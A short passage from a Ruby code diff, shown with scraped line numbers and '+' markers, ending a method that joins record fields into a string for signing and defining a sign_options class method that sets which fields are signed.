text << self[key].to_json + '|' unless self[key].blank?
|
128
|
+
end
|
129
|
+
|
130
|
+
return text
|
131
|
+
end
|
132
|
+
|
133
|
+
module ClassMethods
|
134
|
+
def sign_options(options)
|
135
|
+
self.signature_fields = options[:include] if options[:include]
|
136
|
+
end
|
137
|
+
end
|
138
|
+
|
139
|
+
end
|
140
|
+
end
|
141
|
+
end
|